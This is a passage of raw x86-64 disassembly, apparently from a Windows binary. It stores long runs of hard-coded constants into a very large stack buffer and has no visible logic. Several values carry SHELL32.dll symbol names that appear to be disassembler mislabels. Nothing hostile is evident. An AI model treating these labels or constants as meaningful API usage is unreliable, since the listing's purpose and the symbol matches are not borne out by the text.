mov word [rsp + 0x233c], ax
mov dword [rsp + 0x898c], 0xc540
movabs rax, 0x7e18987762ee9e
mov qword [rsp + 0x11398], rax
mov eax, 0x707
mov word [rsp + 0x2340], ax
movabs rax, 0x7b88c9cec8fe5b
mov qword [rsp + 0x113a0], rax
movabs rax, 0x7e6389eaea6625
mov qword [rsp + 0x113a8], rax
mov eax, 0x71e
mov word [rsp + 0x2344], ax
movabs rax, 0x7d17036a10d032
mov qword [rsp + 0x113b0], rax
mov eax, 0x3be
mov word [rsp + 0x2348], ax
mov dword [rsp + 0x8990], 0x654c
mov eax, 0x390
mov word [rsp + 0x234c], ax
mov dword [rsp + 0x8994], 0x4af
mov dword [rsp + 0x8998], 0x6962
movabs rax, 0x714426758a3179
mov qword [rsp + 0x113b8], rax
mov dword [rsp + 0x899c], 0xceb5
movabs rax, 0x7aa819d5ebcb7b
mov qword [rsp + 0x113c0], rax
movabs rax, 0x7125b494b4dcfe
mov qword [rsp + 0x113c8], rax
mov dword [rsp + 0x89a0], 0x3d01
mov dword [rsp + 0x89a4], 0x2c59
mov eax, 0x45
mov word [rsp + 0x2350], ax
movabs rax, 0x75174ff2ec8fdc
mov qword [rsp + 0x113d0], rax
mov eax, reloc.SHELL32.dll_ILAppendID
mov word [rsp + 0x2354], ax
mov byte [rsp + 0x3e0], 4
mov eax, 0x756
mov word [rsp + 0x2358], ax
movabs rax, 0x75facf1d4a83f5
mov qword [rsp + 0x113d8], rax
mov byte [rsp + 0x3e1], 0x38
movabs rax, 0x7b540bd51f0f00
mov qword [rsp + 0x113e0], rax
mov dword [rsp + 0x89a8], 0x9cb1
mov dword [rsp + 0x89ac], 0x23c
mov byte [rsp + 0x3e2], 0x55
mov byte [rsp + 0x3e3], 0x3a
mov eax, SHTestTokenMembership
mov word [rsp + 0x235c], ax
mov eax, PathMakeUniqueName
mov word [rsp + 0x2360], ax
mov eax, 0xc52
mov word [rsp + 0x2364], ax
mov eax, 0x4be
mov word [rsp + 0x2368], ax
mov byte [rsp + 0x3e4], 0x35
mov dword [rsp + 0x89b0], 0x1f39
mov dword [rsp + 0x89b4], 0x719
mov byte [rsp + 0x3e5], SHUpdateImageW
mov eax, 0x4ec
mov word [rsp + 0x236c], ax
movabs rax, 0x70259a493ae6db
mov qword [rsp + 0x113e8], rax
mov byte [rsp + 0x3e6], 0xda
mov dword [rsp + 0x89b8], 0x9e5
movabs rax, 0x7e5b92be1a3231
mov qword [rsp + 0x113f0], rax
mov eax, 0x3cf
mov word [rsp + 0x2370], ax
movabs rax, 0x7028ddf11469e3
mov qword [rsp + 0x113f8], rax
movabs rax, 0x7dd4a6ef3bb2e4
mov qword [rsp + 0x11400], rax
mov dword [rsp + 0x89bc], 0xdc39
mov byte [rsp + 0x3e7], SHUpdateImageW
mov byte [rsp + 0x3e8], reloc.SHELL32.dll_ILClone
mov eax, 0x253
mov word [rsp + 0x2374], ax
movabs rax, 0x76c5e0b5cf0d27
mov qword [rsp + 0x11408], rax
mov eax, 0x94f
mov word [rsp + 0x2378], ax
mov eax, ILGetNext
mov word [rsp + 0x237c], ax
movabs rax, 0x7758e36c2bc6fc
mov qword [rsp + 0x11410], rax
movabs rax, 0x7146ae4702b8da
mov qword [rsp + 0x11418], rax
mov eax, 0x705
mov word [rsp + 0x2380], ax
mov dword [rsp + 0x89c0], 0xb8c2
movabs rax, 0x780cec41fa536c
mov qword [rsp + 0x11420], rax
mov byte [rsp + 0x3e9], 0xc0
mov byte [rsp + 0x3ea], 0x57
movabs rax, 0x799bf52f63fd87
mov qword [rsp + 0x11428], rax
mov eax, 0x113
mov word [rsp + 0x2384], ax
mov dword [rsp + 0x89c4], 0x72d
mov eax, 0x148
mov word [rsp + 0x2388], ax
movabs rax, 0x7c71745a58bb88
mov qword [rsp + 0x11430], rax
mov byte [rsp + 0x3eb], 0xe3
mov byte [rsp + 0x3ec], 0x7f
mov dword [rsp + 0x89c8], 0x1148
mov eax, 0x7e9
mov word [rsp + 0x238c], ax
mov dword [rsp + 0x89cc], 0xb243
mov eax, 0x9a0
mov word [rsp + 0x2390], ax
mov dword [rsp + 0x89d0], 0x43e0
mov eax, 0x26b
mov word [rsp + 0x2394], ax
mov dword [rsp + 0x89d4], 0x1b57
mov eax, 0x7f9
mov word [rsp + 0x2398], ax
mov eax, 0x4aa
mov word [rsp + 0x239c], ax
mov eax, 0x9b3
mov word [rsp + 0x23a0], ax
mov byte [rsp + 0x3ed], 0x59
mov eax, 0x1c
mov word [rsp + 0x23a4], ax
mov byte [rsp + 0x3ee], 0x1b
movabs rax, 0x76d49056a8dd17
mov qword [rsp + 0x11438], rax
movabs rax, 0x7bbdd8b7688751
mov qword [rsp + 0x11440], rax
movabs rax, 0x7af467ad4c238f
mov qword [rsp + 0x11448], rax
movabs rax, 0x7653c15ca51744
mov qword [rsp + 0x11450], rax
mov dword [rsp + 0x89d8], 0x37aa
mov eax, 0xc5f
mov word [rsp + 0x23a8], ax
mov eax, 0x6ac
mov word [rsp + 0x23ac], ax
movabs rax, 0x75d64fa0056580
mov qword [rsp + 0x11458], rax
mov dword [rsp + 0x89dc], 0x7586
mov eax, 0xf6
mov word [rsp + 0x23b0], ax
mov dword [rsp + 0x89e0], 0xf31
mov eax, 0xeb2
mov word [rsp + 0x23b4], ax
movabs rax, 0x77f1eb706ef0cb
mov qword [rsp + 0x11460], rax
mov dword [rsp + 0x89e4], 0x2a8f
mov dword [rsp + 0x89e8], 0x4aa1
movabs rax, 0x7d6ba962bb66a8
mov qword [rsp + 0x11468], rax
mov dword [rsp + 0x89ec], 0x53e2
movabs rax, 0x73440bb9dcdd17
mov qword [rsp + 0x11470], rax
mov dword [rsp + 0x89f0], 0xb7b8
mov byte [rsp + 0x3ef], 0x2e
mov dword [rsp + 0x89f4], 0xd61c
mov byte [rsp + 0x3f0], 0x6e
mov eax, 0x4aa
mov word [rsp + 0x23b8], ax
mov byte [rsp + 0x3f1], 0x12
movabs rax, 0x7d7cc0e55cded2
mov qword [rsp + 0x11478], rax
movabs rax, 0x7d4174b326031e
mov qword [rsp + 0x11480], rax
movabs rax, 0x7d8e94b598216b
mov qword [rsp + 0x11488], rax
movabs rax, 0x728a93b900f783
mov qword [rsp + 0x11490], rax
movabs rax, 0x70f2ac36930db6
mov qword [rsp + 0x11498], rax
mov dword [rsp + 0x89f8], 0x4afa
mov dword [rsp + 0x89fc], 0x49c1
mov dword [rsp + 0x8a00], 0x2020
movabs rax, 0x70bd2ed06cb59c
mov qword [rsp + 0x114a0], rax
mov byte [rsp + 0x3f2], 0x7a
movabs rax, 0x718a3da3fb2d19
mov qword [rsp + 0x114a8], rax
mov eax, 0x32
mov word [rsp + 0x23bc], ax
mov dword [rsp + 0x8a04], 0x5af0
mov byte [rsp + 0x3f3], 0x95
movabs rax, 0x7506a0bd69f1a2
mov qword [rsp + 0x114b0], rax
mov dword [rsp + 0x8a08], 0xccfd
mov dword [rsp + 0x8a0c], 0x4044
movabs rax, 0x7234deaa720d05
mov qword [rsp + 0x114b8], rax
movabs rax, 0x79ed03d03043bc
mov qword [rsp + 0x114c0], rax
mov byte [rsp + 0x3f4], 0x78
mov byte [rsp + 0x3f5], 0xbd
mov byte [rsp + 0x3f6], 0x69
mov eax, 0x784
mov word [rsp + 0x23c0], ax
mov byte [rsp + 0x3f7], 0x15
mov eax, 0xda1
mov word [rsp + 0x23c4], ax
mov dword [rsp + 0x8a10], 0xb91e
movabs rax, 0x7b1709775b9828
mov qword [rsp + 0x114c8], rax
mov dword [rsp + 0x8a14], 0xf9fc
mov dword [rsp + 0x8a18], 0xdf69
mov eax, 0x145
mov word [rsp + 0x23c8], ax
movabs rax, 0x72fc4d9c21ae6f
mov qword [rsp + 0x114d0], rax
mov dword [rsp + 0x8a1c], 0xb8a1
mov dword [rsp + 0x8a20], 0x6986
mov byte [rsp + 0x3f8], 0x53
mov byte [rsp + 0x3f9], 0x24
mov eax, 0x3ee
mov word [rsp + 0x23cc], ax
mov byte [rsp + 0x3fa], 0xf
mov eax, 0x6b2
mov word [rsp + 0x23d0], ax
mov dword [rsp + 0x8a24], 0x38d0
mov eax, 0x635
mov word [rsp + 0x23d4], ax
mov eax, 0xb19
mov word [rsp + 0x23d8], ax
mov eax, 0xc4
mov word [rsp + 0x23dc], ax
movabs rax, 0x75cdde88a761e6
mov qword [rsp + 0x114d8], rax
movabs rax, 0x7cac62df2b2cf6
mov qword [rsp + 0x114e0], rax
mov dword [rsp + 0x8a28], 0x54e4
movabs rax, 0x7845ff23e6ad1e
mov qword [rsp + 0x114e8], rax
movabs rax, 0x77803ef1760710
mov qword [rsp + 0x114f0], rax
mov eax, 0x7ea
mov word [rsp + 0x23e0], ax
movabs rax, 0x78551af09d36da
mov qword [rsp + 0x114f8], rax
mov byte [rsp + 0x3fb], 0x16
mov dword [rsp + 0x8a2c], 0x1315
mov dword [rsp + 0x8a30], 0xf9c1
mov eax, 0x367
mov word [rsp + 0x23e4], ax
mov byte [rsp + 0x3fc], 0x69
mov byte [rsp + 0x3fd], 0x58
mov byte [rsp + 0x3fe], 0x5d
mov eax, 0xf5a
mov word [rsp + 0x23e8], ax
movabs rax, 0x74da262c8ae1ee
mov qword [rsp + 0x11500], rax
mov eax, 0x1fb
mov word [rsp + 0x23ec], ax
mov dword [rsp + 0x8a34], 0xba4
mov dword [rsp + 0x8a38], 0x5176
movabs rax, 0x7d29653ab2587f
mov qword [rsp + 0x11508], rax
mov dword [rsp + 0x8a3c], 0xdf0
mov byte [rsp + 0x3ff], 0x1b
mov byte [rsp + 0x400], 0x6b
mov eax, 0xab6
mov word [rsp + 0x23f0], ax
mov eax, 0x627
mov word [rsp + 0x23f4], ax
mov byte [rsp + 0x401], 0x3e
mov eax, 0x3b2
mov word [rsp + 0x23f8], ax
mov dword [rsp + 0x8a40], 0x354a
mov eax, 0x696
mov word [rsp + 0x23fc], ax
movabs rax, 0x7c6e03401c3fef
mov qword [rsp + 0x11510], rax
movabs rax, 0x78afc79e3dc88a
mov qword [rsp + 0x11518], rax
mov eax, 0x940
mov word [rsp + 0x2400], ax
mov dword [rsp + 0x8a44], 0x2386
movabs rax, 0x79d1f826f3d8f3
mov qword [rsp + 0x11520], rax
movabs rax, 0x712a4244f830ba
mov qword [rsp + 0x11528], rax
movabs rax, 0x7df987633a7303
mov qword [rsp + 0x11530], rax
mov eax, 0x3fc
mov word [rsp + 0x2404], ax
mov byte [rsp + 0x402], 0x97
mov eax, 0x548
mov word [rsp + 0x2408], ax
mov dword [rsp + 0x8a48], 0xf9aa
movabs rax, 0x79aadd2769d4af
mov qword [rsp + 0x11538], rax
mov eax, 0xbcc
mov word [rsp + 0x240c], ax
movabs rax, 0x73041f19b3d136
mov qword [rsp + 0x11540], rax
mov dword [rsp + 0x8a4c], 0x4d01
movabs rax, 0x7afffeb9421a81
mov qword [rsp + 0x11548], rax
mov eax, 0x100
mov word [rsp + 0x2410], ax
mov byte [rsp + 0x403], 0x2d
mov dword [rsp + 0x8a50], 0x10fd
mov dword [rsp + 0x8a54], 0xee18
mov byte [rsp + 0x404], 0xcf
movabs rax, 0x752f93221d496a
mov qword [rsp + 0x11550], rax
mov byte [rsp + 0x405], 0xb6
mov byte [rsp + 0x406], 0x65
movabs rax, 0x747b6514dbd2ff
mov qword [rsp + 0x11558], rax
mov dword [rsp + 0x8a58], 0x8682
mov eax, 0x563
mov word [rsp + 0x2414], ax
movabs rax, 0x72e994a0a2a41e
mov qword [rsp + 0x11560], rax
mov dword [rsp + 0x8a5c], 0x2fbd
movabs rax, 0x7e6778d84405a0
mov qword [rsp + 0x11568], rax
mov dword [rsp + 0x8a60], 0xbfd4
mov eax, 0x783
mov word [rsp + 0x2418], ax
mov eax, 0x395
mov word [rsp + 0x241c], ax
mov dword [rsp + 0x8a64], 0x47ce
movabs rax, 0x799b7a720ebd54
mov qword [rsp + 0x11570], rax
mov eax, 0x120
mov word [rsp + 0x2420], ax
movabs rax, 0x794e99bf12500e
mov qword [rsp + 0x11578], rax
movabs rax, 0x7ecb3b88c7025e
mov qword [rsp + 0x11580], rax
mov eax, 0x7bd
mov word [rsp + 0x2424], ax
mov eax, 0xbbd
mov word [rsp + 0x2428], ax
mov eax, 0xfb4
mov word [rsp + 0x242c], ax
movabs rax, 0x7234051e8071d1
mov qword [rsp + 0x11588], rax
mov dword [rsp + 0x8a68], 0x7ad3
movabs rax, 0x76e99b10554df7
mov qword [rsp + 0x11590], rax
movabs rax, 0x70f29bace635e8
mov qword [rsp + 0x11598], rax
mov dword [rsp + 0x8a6c], 0x17da
mov dword [rsp + 0x8a70], 0x1f9c
movabs rax, 0x7d4345cd3e509c
mov qword [rsp + 0x115a0], rax
movabs rax, 0x7c554e486722be
mov qword [rsp + 0x115a8], rax
movabs rax, 0x72239748c24d53
mov qword [rsp + 0x115b0], rax
mov eax, 0xedf
mov word [rsp + 0x2430], ax
mov eax, 0xcaf
mov word [rsp + 0x2434], ax
mov byte [rsp + 0x407], 0xba
movabs rax, 0x7dd1475857ea35
mov qword [rsp + 0x115b8], rax
mov dword [rsp + 0x8a74], 0xd21b
mov byte [rsp + 0x408], 0xe7
mov eax, 0x416
mov word [rsp + 0x2438], ax
mov dword [rsp + 0x8a78], 0x4b03
mov dword [rsp + 0x8a7c], 0x6fb2
mov eax, 0x33e
mov word [rsp + 0x243c], ax
movabs rax, 0x7702fc4bf5043f
mov qword [rsp + 0x115c0], rax
mov dword [rsp + 0x8a80], 0x26b
movabs rax, 0x70d504fe1d4267
mov qword [rsp + 0x115c8], rax
mov byte [rsp + 0x409], 0x77
movabs rax, 0x7aa48816ca99b7
mov qword [rsp + 0x115d0], rax
mov dword [rsp + 0x8a84], 0x4c7
mov byte [rsp + 0x40a], 0xbd
mov dword [rsp + 0x8a88], 0x64f
mov dword [rsp + 0x8a8c], 0x3618
mov dword [rsp + 0x8a90], 0x3eba
mov byte [rsp + 0x40b], 0x37
mov dword [rsp + 0x8a94], 0x6487
mov eax, 0xda9
mov word [rsp + 0x2440], ax
mov dword [rsp + 0x8a98], 0x30c0
mov byte [rsp + 0x40c], 0x4a
mov byte [rsp + 0x40d], 0x17
mov eax, 0x5c6
mov word [rsp + 0x2444], ax
mov dword [rsp + 0x8a9c], 0x750d
mov dword [rsp + 0x8aa0], 0x1b52
mov eax, 0xfe8
mov word [rsp + 0x2448], ax
mov dword [rsp + 0x8aa4], 0x6338
movabs rax, 0x7cbde640dacf33
mov qword [rsp + 0x115d8], rax
mov byte [rsp + 0x40e], 0x87
movabs rax, 0x70042b10c1fea7
mov qword [rsp + 0x115e0], rax
movabs rax, 0x785f7f14572f7b
mov qword [rsp + 0x115e8], rax
mov dword [rsp + 0x8aa8], 0x55e5
mov byte [rsp + 0x40f], 0x7b
mov eax, 0x153
mov word [rsp + 0x244c], ax
mov dword [rsp + 0x8aac], 0xaed6
movabs rax, 0x7cbc5a5aae49f0
mov qword [rsp + 0x115f0], rax
movabs rax, 0x7e9ce47831d9fb
mov qword [rsp + 0x115f8], rax
mov dword [rsp + 0x8ab0], 0x3c1e
mov eax, 0x56c
mov word [rsp + 0x2450], ax
mov byte [rsp + 0x410], 0xa5
mov byte [rsp + 0x411], 0x21
movabs rax, 0x76266662a829d5
mov qword [rsp + 0x11600], rax
mov eax, 0x23
mov word [rsp + 0x2454], ax
movabs rax, 0x784c84acbe6342
mov qword [rsp + 0x11608], rax
mov byte [rsp + 0x412], 0x76
mov eax, 0xd8c
mov word [rsp + 0x2458], ax
mov eax, 0xeda
mov word [rsp + 0x245c], ax
mov eax, 0x645
mov word [rsp + 0x2460], ax
mov dword [rsp + 0x8ab4], 0x771
mov eax, 0x1a6
mov word [rsp + 0x2464], ax
mov byte [rsp + 0x413], 0xc
movabs rax, 0x7a300f6678cd18
mov qword [rsp + 0x11610], rax
mov eax, 0x4a9
mov word [rsp + 0x2468], ax
movabs rax, 0x7419d62df23ddf
mov qword [rsp + 0x11618], rax
mov eax, 0x39c
mov word [rsp + 0x246c], ax
mov dword [rsp + 0x8ab8], 0xf2d0
movabs rax, 0x756419153d9896
mov qword [rsp + 0x11620], rax
movabs rax, 0x79487088ce3286
mov qword [rsp + 0x11628], rax
mov dword [rsp + 0x8abc], 0x49c1
mov byte [rsp + 0x414], 0x55
movabs rax, 0x7615e6524c3e14
mov qword [rsp + 0x11630], rax
mov eax, 0x97f
mov word [rsp + 0x2470], ax
mov byte [rsp + 0x415], 0x94
movabs rax, 0x70cdd00b899c1f
mov qword [rsp + 0x11638], rax
mov eax, 0x67f
mov word [rsp + 0x2474], ax
mov byte [rsp + 0x416], 0x2e
mov dword [rsp + 0x8ac0], 0x5b7f
mov eax, 0x528
mov word [rsp + 0x2478], ax
movabs rax, 0x74ac539e8c0de4
mov qword [rsp + 0x11640], rax
mov byte [rsp + 0x417], 0x9a
mov eax, 0x567
mov word [rsp + 0x247c], ax
mov eax, 0x136
mov word [rsp + 0x2480], ax
mov eax, 0xaa2
mov word [rsp + 0x2484], ax
mov dword [rsp + 0x8ac4], 0x790f
mov eax, SHSetInstanceExplorer
mov word [rsp + 0x2488], ax
mov dword [rsp + 0x8ac8], 0x2be7
mov eax, 0x776
mov word [rsp + 0x248c], ax
mov dword [rsp + 0x8acc], 0x7394
mov byte [rsp + 0x418], 0x71
movabs rax, 0x7b0111ef26579e
mov qword [rsp + 0x11648], rax
movabs rax, 0x75674196ec2e1c
mov qword [rsp + 0x11650], rax
movabs rax, 0x7d182de7ea2252
mov qword [rsp + 0x11658], rax
movabs rax, 0x7ba31651475da0
mov qword [rsp + 0x11660], rax
mov eax, 0x317
mov word [rsp + 0x2490], ax
movabs rax, 0x7347a14a78a788
mov qword [rsp + 0x11668], rax
mov eax, 0x333
mov word [rsp + 0x2494], ax
movabs rax, 0x7529cd3d4b5886
mov qword [rsp + 0x11670], rax
mov dword [rsp + 0x8ad0], 0x4359
mov dword [rsp + 0x8ad4], 0x30f0
mov dword [rsp + 0x8ad8], 0x550
mov dword [rsp + 0x8adc], 0xa58
mov eax, 0xa1b
mov word [rsp + 0x2498], ax
mov dword [rsp + 0x8ae0], 0x9c29
movabs rax, 0x716b5b59293157
mov qword [rsp + 0x11678], rax
movabs rax, 0x770c003e05ad03
mov qword [rsp + 0x11680], rax
mov byte [rsp + 0x419], 0xc
mov byte [rsp + 0x41a], 0x6d
mov dword [rsp + 0x8ae4], 0x720a
movabs rax, 0x79ebbe8ccc599e
mov qword [rsp + 0x11688], rax
mov eax, 0x34b
mov word [rsp + 0x249c], ax
mov eax, 0x1fb
mov word [rsp + 0x24a0], ax
mov eax, 0x311
mov word [rsp + 0x24a4], ax
mov dword [rsp + 0x8ae8], 0x944
movabs rax, 0x714cd202b7fbd7
mov qword [rsp + 0x11690], rax
mov eax, 0x67e
mov word [rsp + 0x24a8], ax
mov eax, 0x33d
mov word [rsp + 0x24ac], ax
movabs rax, 0x7a0ec2eee8d2a0
mov qword [rsp + 0x11698], rax
mov dword [rsp + 0x8aec], 0x72bb
mov eax, reloc.SHELL32.dll_SHTestTokenMembership
mov word [rsp + 0x24b0], ax
mov dword [rsp + 0x8af0], 0xe392
mov eax, 0x30a
mov word [rsp + 0x24b4], ax
mov byte [rsp + 0x41b], 0x76
movabs rax, 0x78f9a8dbc4dd2e
mov qword [rsp + 0x116a0], rax
mov eax, 0x158
mov word [rsp + 0x24b8], ax
mov dword [rsp + 0x8af4], 0x39c2
movabs rax, 0x76b82c5b0c9e0c
mov qword [rsp + 0x116a8], rax
mov byte [rsp + 0x41c], 0x71
movabs rax, 0x782bb71c06ba66
mov qword [rsp + 0x116b0], rax
mov dword [rsp + 0x8af8], 0x222f
mov eax, 0xf6d
mov word [rsp + 0x24bc], ax
mov eax, 0xa84
mov word [rsp + 0x24c0], ax
movabs rax, 0x7206916c1cfa3b
mov qword [rsp + 0x116b8], rax
movabs rax, 0x7282ad44c2de0f
mov qword [rsp + 0x116c0], rax
movabs rax, 0x7b96add754b1a1
mov qword [rsp + 0x116c8], rax
mov dword [rsp + 0x8afc], 0x1967
mov dword [rsp + 0x8b00], 0x72ca
movabs rax, 0x7b994ac2534afb
mov qword [rsp + 0x116d0], rax
mov byte [rsp + 0x41d], 0x73
mov dword [rsp + 0x8b04], 0x1382
mov dword [rsp + 0x8b08], 0xf0d
mov eax, 0xa39
mov word [rsp + 0x24c4], ax
mov eax, 0x59c
mov word [rsp + 0x24c8], ax
movabs rax, 0x759a2cda55b850
mov qword [rsp + 0x116d8], rax
mov byte [rsp + 0x41e], 0x58
mov dword [rsp + 0x8b0c], 0x3d2
mov byte [rsp + 0x41f], 0xcd
mov dword [rsp + 0x8b10], 0x3694
movabs rax, 0x7395cf335711bb
mov qword [rsp + 0x116e0], rax
mov dword [rsp + 0x8b14], 0x77ce
mov dword [rsp + 0x8b18], 0x120a
mov dword [rsp + 0x8b1c], 0x696c
mov byte [rsp + 0x420], 0x67
movabs rax, 0x73d5b75b72e1fd
mov qword [rsp + 0x116e8], rax
movabs rax, 0x76126db74486fd
mov qword [rsp + 0x116f0], rax
mov eax, 0x4de
mov word [rsp + 0x24cc], ax
movabs rax, 0x756b7f979165d6
mov qword [rsp + 0x116f8], rax
movabs rax, 0x7acdf6eb7dcc19
mov qword [rsp + 0x11700], rax
mov byte [rsp + 0x421], 0xb2
movabs rax, 0x79671e6eec30fe
mov qword [rsp + 0x11708], rax
mov eax, 0x4b8
mov word [rsp + 0x24d0], ax
mov eax, 0x640
mov word [rsp + 0x24d4], ax
mov byte [rsp + 0x422], 0xc8
movabs rax, 0x76c1e38ed0f9cb
mov qword [rsp + 0x11710], rax
mov dword [rsp + 0x8b20], 0x52fc
mov dword [rsp + 0x8b24], 0x919d
mov byte [rsp + 0x423], 0xea
movabs rax, 0x7655352c319ad3
mov qword [rsp + 0x11718], rax
mov eax, 0x6ac
mov word [rsp + 0x24d8], ax
mov byte [rsp + 0x424], 0x48
mov dword [rsp + 0x8b28], 0x5c6f
mov eax, ILGetNext
mov word [rsp + 0x24dc], ax
mov dword [rsp + 0x8b2c], 0xe9cd
mov dword [rsp + 0x8b30], 0x23f9
mov eax, 0xa3b
mov word [rsp + 0x24e0], ax
movabs rax, 0x75c45067a1c9e1
mov qword [rsp + 0x11720], rax
mov dword [rsp + 0x8b34], 0x19dd
movabs rax, 0x722c1f6cba0788
mov qword [rsp + 0x11728], rax
mov dword [rsp + 0x8b38], 0xeb7e
mov eax, PathMakeUniqueName
mov word [rsp + 0x24e4], ax
mov dword [rsp + 0x8b3c], 0x7fba
mov byte [rsp + 0x425], 0x9a
mov dword [rsp + 0x8b40], 0x3a8b
mov eax, 0x4a4
mov word [rsp + 0x24e8], ax
mov byte [rsp + 0x426], 0x4b
mov dword [rsp + 0x8b44], 0x3955
mov byte [rsp + 0x427], 0x71
mov byte [rsp + 0x428], 0x1f
mov eax, 0x658
mov word [rsp + 0x24ec], ax
movabs rax, 0x732c022c3a8ca8
mov qword [rsp + 0x11730], rax
movabs rax, 0x769569048c0a1a
mov qword [rsp + 0x11738], rax
mov dword [rsp + 0x8b48], 0x64bd
mov dword [rsp + 0x8b4c], 0x5ca2
mov byte [rsp + 0x429], 0x70
mov dword [rsp + 0x8b50], 0xd794
mov byte [rsp + 0x42a], 0xc6
mov byte [rsp + 0x42b], 0xb1
mov eax, 0x635
mov word [rsp + 0x24f0], ax
mov dword [rsp + 0x8b54], 0x2d4a
mov eax, 0x7b2
mov word [rsp + 0x24f4], ax
mov dword [rsp + 0x8b58], 0x1982
mov byte [rsp + 0x42c], 0x7a
movabs rax, 0x7a43d780bfbd8e
mov qword [rsp + 0x11740], rax
mov eax, 0x2fe
mov word [rsp + 0x24f8], ax
mov byte [rsp + 0x42d], 0x90
mov byte [rsp + 0x42e], 0xa
movabs rax, 0x76c47b20f2cb74
mov qword [rsp + 0x11748], rax
movabs rax, 0x7b7382c9164e25
mov qword [rsp + 0x11750], rax
mov eax, 0xc31
mov word [rsp + 0x24fc], ax
mov byte [rsp + 0x42f], 0x21
mov eax, 0x810
mov word [rsp + 0x2500], ax
mov dword [rsp + 0x8b5c], 0x94fa
movabs rax, 0x7daf9675328946
mov qword [rsp + 0x11758], rax
mov eax, 0x5de
mov word [rsp + 0x2504], ax
mov eax, 0x4a2
mov word [rsp + 0x2508], ax
movabs rax, 0x739b0b1441463e
mov qword [rsp + 0x11760], rax
mov eax, 0x833
mov word [rsp + 0x250c], ax
mov eax, 0x220
mov word [rsp + 0x2510], ax
movabs rax, 0x7ca12ab959e4d0
mov qword [rsp + 0x11768], rax
mov byte [rsp + 0x430], 0xd8
mov dword [rsp + 0x8b60], 0x7ee5
movabs rax, 0x734335a6c2846e
mov qword [rsp + 0x11770], rax
mov dword [rsp + 0x8b64], 0x7288
mov eax, 0x1c6
mov word [rsp + 0x2514], ax
mov dword [rsp + 0x8b68], 0x21a4
mov eax, 0x25e
mov word [rsp + 0x2518], ax
mov dword [rsp + 0x8b6c], 0xacad
mov dword [rsp + 0x8b70], 0x9736
mov byte [rsp + 0x431], 0x58
movabs rax, 0x774e516d2da269
mov qword [rsp + 0x11778], rax
mov eax, 0x6a3
mov word [rsp + 0x251c], ax
movabs rax, 0x7ad6192366996f
mov qword [rsp + 0x11780], rax
mov dword [rsp + 0x8b74], 0x7f26
mov eax, 0x5db
mov word [rsp + 0x2520], ax
movabs rax, 0x7894db8ea88055
mov qword [rsp + 0x11788], rax
mov eax, 0x1a8
mov word [rsp + 0x2524], ax
movabs rax, 0x754ebe9df1a69f
mov qword [rsp + 0x11790], rax
movabs rax, 0x74d88497110867
mov qword [rsp + 0x11798], rax
movabs rax, 0x7d8bf5b2161b61
mov qword [rsp + 0x117a0], rax
movabs rax, 0x754424169b6f5e
mov qword [rsp + 0x117a8], rax
mov byte [rsp + 0x432], 0x72
mov eax, 0x42d
mov word [rsp + 0x2528], ax
movabs rax, 0x7a1ceed9772dc6
mov qword [rsp + 0x117b0], rax
movabs rax, 0x7ad242a00b15c6
mov qword [rsp + 0x117b8], rax
mov byte [rsp + 0x433], 0x3d
mov dword [rsp + 0x8b78], 0x7b31
mov dword [rsp + 0x8b7c], 0x55af
mov dword [rsp + 0x8b80], 0x4eb
mov eax, 0x21b
mov word [rsp + 0x252c], ax
mov dword [rsp + 0x8b84], 0x7089
movabs rax, 0x7e9790de2f8119
mov qword [rsp + 0x117c0], rax
mov dword [rsp + 0x8b88], 0x132f
mov dword [rsp + 0x8b8c], 0x45a8
movabs rax, 0x7c65f89e9c4e25
mov qword [rsp + 0x117c8], rax
mov dword [rsp + 0x8b90], 0x22fe
movabs rax, 0x7325956866bebb
mov qword [rsp + 0x117d0], rax
movabs rax, 0x779931bea0d760
mov qword [rsp + 0x117d8], rax
mov eax, 0x5d
mov word [rsp + 0x2530], ax
mov byte [rsp + 0x434], 0x34
mov eax, 0x3d8
mov word [rsp + 0x2534], ax
mov byte [rsp + 0x435], 0x33
mov dword [rsp + 0x8b94], 0x5036
mov byte [rsp + 0x436], 0x32
mov byte [rsp + 0x437], 0x75
movabs rax, 0x7774855f8d1d68
mov qword [rsp + 0x117e0], rax
mov eax, 0x24c
mov word [rsp + 0x2538], ax
mov dword [rsp + 0x8b98], 0x7f72
mov eax, 0x74e
mov word [rsp + 0x253c], ax
mov eax, 0x2ad
mov word [rsp + 0x2540], ax
mov dword [rsp + 0x8b9c], 0xdbcf
mov dword [rsp + 0x8ba0], 0x243a
movabs rax, 0x7543cd975a73a9
mov qword [rsp + 0x117e8], rax
mov dword [rsp + 0x8ba4], 0x63c
mov eax, 0x713
mov word [rsp + 0x2544], ax
mov dword [rsp + 0x8ba8], 0xa9b1
movabs rax, 0x74d8c25f9ad365
mov qword [rsp + 0x117f0], rax
mov dword [rsp + 0x8bac], 0xe22b
mov eax, 0x6ff
mov word [rsp + 0x2548], ax
movabs rax, 0x78b2ac29fadd38
mov qword [rsp + 0x117f8], rax
mov dword [rsp + 0x8bb0], 0xa1c9
movabs rax, 0x7c0f38b258284f
mov qword [rsp + 0x11800], rax
movabs rax, 0x7e43f50efcd4cb
mov qword [rsp + 0x11808], rax
mov byte [rsp + 0x438], 0xb0
movabs rax, 0x7b9be108108b63
mov qword [rsp + 0x11810], rax
movabs rax, 0x7c77c12bd16b6f
mov qword [rsp + 0x11818], rax
mov byte [rsp + 0x439], 0x83
mov eax, 0x682
mov word [rsp + 0x254c], ax
mov eax, 0x880
mov word [rsp + 0x2550], ax
mov byte [rsp + 0x43a], 4
mov eax, 0x4f1
mov word [rsp + 0x2554], ax
mov dword [rsp + 0x8bb4], 0x3b40
mov eax, 0xd1f
mov word [rsp + 0x2558], ax
mov byte [rsp + 0x43b], 0x4b
movabs rax, 0x7044ca315f3575
mov qword [rsp + 0x11820], rax
mov dword [rsp + 0x8bb8], 0x5d20
mov eax, 0x474
mov word [rsp + 0x255c], ax
mov byte [rsp + 0x43c], 0x6c
movabs rax, 0x7a3a8aa4c492c5
mov qword [rsp + 0x11828], rax
mov eax, 0x11f
mov word [rsp + 0x2560], ax
mov byte [rsp + 0x43d], 0x6f
mov eax, 0x608
mov word [rsp + 0x2564], ax
movabs rax, 0x760ee92f005f17
mov qword [rsp + 0x11830], rax
movabs rax, 0x73a52b3650a7c1
mov qword [rsp + 0x11838], rax
mov eax, 0xb59
mov word [rsp + 0x2568], ax
mov byte [rsp + 0x43e], 0x5d
mov eax, 0x137
mov word [rsp + 0x256c], ax
mov dword [rsp + 0x8bbc], 0x4a08
mov byte [rsp + 0x43f], 0xb4
mov dword [rsp + 0x8bc0], 0xd1eb
mov dword [rsp + 0x8bc4], 0x4ed8
mov byte [rsp + 0x440], 0xc3
mov eax, 0x33d
mov word [rsp + 0x2570], ax
mov eax, 0x78b
